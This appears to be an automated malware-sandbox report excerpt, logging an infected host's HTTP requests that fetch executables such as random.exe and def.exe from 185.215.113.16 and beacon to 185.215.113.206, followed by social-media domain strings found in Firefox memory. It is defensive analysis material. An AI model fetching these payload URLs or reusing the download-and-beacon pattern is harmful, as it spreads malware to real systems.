Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Thu, 31 Oct 2024 19:29:58 GMTIf-None-Match: "6723dab6-208800"
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Thu, 31 Oct 2024 19:29:58 GMTIf-None-Match: "6723dab6-208800"
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 00000017.00000002.2130521007.0000016BB163F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "label"-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Wikipedia"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Reddit"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Twitter"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.2130521007.0000016BB163F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.2130521007.0000016BB163F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.2130521007.0000016BB163F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.2130521007.0000016BB163F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.2130521007.0000016BB163F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/RestartOnLastWindowClosed.#maybeRestartBrowser - Still waiting for all windows to be closed and restartTimer to expire. (not restarting)UpdateService:_postUpdateProcessing - removing downloading patch because we installed a different patch before it finisheddownloading. equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/RestartOnLastWindowClosed.#maybeRestartBrowser - Still waiting for all windows to be closed and restartTimer to expire. (not restarting)UpdateService:_postUpdateProcessing - removing downloading patch because we installed a different patch before it finisheddownloading. equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://libs.coremetrics.com/eluminate.js://connect.facebook.net//sdk.js://connect.facebook.net//all.jsresource://gre/modules/FileUtils.sys.mjs://pub.doubleverify.com/signals/pub.js*://auth.9c9media.ca/auth/main.jswebcompat-reporter%40mozilla.org:1.5.1resource://gre/modules/addons/XPIProvider.jsmFileUtils_openSafeFileOutputStream://c.amazon-adsystem.com/aax2/apstag.js://www.everestjs.net/static/st.v3.js@mozilla.org/network/file-output-stream;1@mozilla.org/network/atomic-file-output-stream;1://track.adform.net/serving/scripts/trackpoint/://cdn.branch.io/branch-latest.min.jsFileUtils_closeAtomicFileOutputStreamwebcompat-reporter@mozilla.org.xpi://static.chartbeat.com/js/chartbeat.js://static.criteo.net/js/ld/publishertag.js://.imgur.io/js/vendor..bundle.js://www.rva311.com/static/js/main..chunk.js://www.google-analytics.com/plugins/ua/ec.js://ssl.google-analytics.com/ga.js://s0.2mdn.net/instream/html5/ima3.js://www.googletagservices.com/tag/js/gpt.js://pagead2.googlesyndication.com/tag/js/gpt.js://static.adsafeprotected.com/iasPET.1.js://cdn.adsafeprotected.com/iasPET.1.js://adservex.media.net/videoAds.js*://.moatads.com//moatheader.js://www.google-analytics.com/gtm/js://www.google-analytics.com/analytics.js://.vidible.tv//vidible-min.js://js.maxmind.com/js/apis/geoip2//geoip2.js://s.webtrends.com/js/advancedLinkTracking.js://s.webtrends.com/js/webtrends.js://imasdk.googleapis.com/js/sdkloader/ima3.js://www.googletagmanager.com/gtm.js*://cdn.optimizely.com/public/.js*://s.webtrends.com/js/webtrends.min.jsresource://gre/modules/ConduitsParent.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://securepubads.g.doubleclick.net/gampad/adcolor-mix(in srgb, currentColor 9%, transparent)://.adsafeprotected.com//imp/://ads.stickyadstv.com/auto-user-sync://.adsafeprotected.com//unit/--panel-banner-item-update-supported-bgcolor://pubads.g.doubleclick.net/gampad/ad-blk://pubads.g.doubleclick.net/gampad/xml_vmap1*://pixel.advertising.com/firefox-etp://track.adform.net/Serving/TrackPoint/://www.facebook.com/platform/impression.php://vast.adsafeprotected.com/vast*://pubads.g.doubleclick.net/gampad/xml_vmap2*://pubads.g.doubleclick.net/gampad/adresource://builtin-addons/search-detection/resource://search-extensions/google/amazondotcom%40search.mozilla.org:1.6wikipedia%40search.mozilla.org:1.3resource://search-extensions/ddg/addons-search-detection@mozilla.comfirefox-compact-light@mozilla.orgfirefox-compact-light%40mozilla.org:1.2resource://search-extensions/amazondotcom/addons-search-detection%40mozilla.com:2.0.0resource://search-extensions/wikipedia/resource://search-extensions/bing/firefox-compact-dark%40mozilla.org:1.2resource://builtin-themes/alpenglow/https://en.wikipedia.org/wiki/Special:Searchfirefox-alpenglow%40mozilla.org:1.4resource://gre/modules/TelemetryUtils.sys.mjsresource://gre/modules/AddonManager.sys.mjsresource://gre/modules/TelemetryStorage.sys.mjsTelemetrySession::onEnvironmentChange8#p equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.2181654980.0000016BB509F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2195227642.0000016BB646A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2195227642.0000016BB6431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:_postUpdateProcessing - removing update for older application version or same application version with same build ID. update application version: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:_postUpdateProcessing - removing update for older application version or same application version with same build ID. update application version: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:_postUpdateProcessing - removing update for older application version or same application version with same build ID. update application version: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
